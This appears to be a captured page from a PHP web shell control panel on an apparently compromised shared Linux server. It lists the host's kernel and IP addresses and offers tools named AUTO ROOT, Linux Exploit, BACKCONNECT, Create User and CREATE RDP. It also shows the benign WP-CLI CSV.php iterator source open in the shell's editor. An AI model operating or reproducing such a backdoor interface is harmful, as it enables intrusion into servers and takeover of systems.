Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
wp /
php /
WP_CLI /
Iterators /
[ HOME SHELL ]
Name
Size
Permission
Action
CSV.php
1.84
KB
-rw-r--r--
Exception.php
103
B
-rw-r--r--
Query.php
3.15
KB
-rw-r--r--
Table.php
2.6
KB
-rw-r--r--
Transform.php
480
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : CSV.php
<?php namespace WP_CLI\Iterators; use Countable; use Iterator; use ReturnTypeWillChange; use SplFileObject; use WP_CLI; /** * Allows incrementally reading and parsing lines from a CSV file. */ class CSV implements Countable, Iterator { const ROW_SIZE = 4096; private $filename; private $file_pointer; private $delimiter; private $columns; private $current_index; private $current_element; public function __construct( $filename, $delimiter = ',' ) { $this->filename = $filename; $this->file_pointer = fopen( $filename, 'rb' ); if ( ! $this->file_pointer ) { WP_CLI::error( sprintf( 'Could not open file: %s', $filename ) ); } $this->delimiter = $delimiter; } #[ReturnTypeWillChange] public function rewind() { rewind( $this->file_pointer ); $this->columns = fgetcsv( $this->file_pointer, self::ROW_SIZE, $this->delimiter, '"', '\\' ); $this->current_index = -1; $this->next(); } #[ReturnTypeWillChange] public function current() { return $this->current_element; } #[ReturnTypeWillChange] public function key() { return $this->current_index; } #[ReturnTypeWillChange] public function next() { $this->current_element = false; while ( true ) { $row = fgetcsv( $this->file_pointer, self::ROW_SIZE, $this->delimiter, '"', '\\' ); if ( false === $row ) { break; } $element = []; foreach ( $this->columns as $i => $key ) { if ( isset( $row[ $i ] ) ) { $element[ $key ] = $row[ $i ]; } } if ( ! empty( $element ) ) { $this->current_element = $element; ++$this->current_index; break; } } } #[ReturnTypeWillChange] public function count() { $file = new SplFileObject( $this->filename, 'r' ); $file->seek( PHP_INT_MAX ); return $file->key() + 1; } #[ReturnTypeWillChange] public function valid() { return is_array( $this->current_element ); } }
Close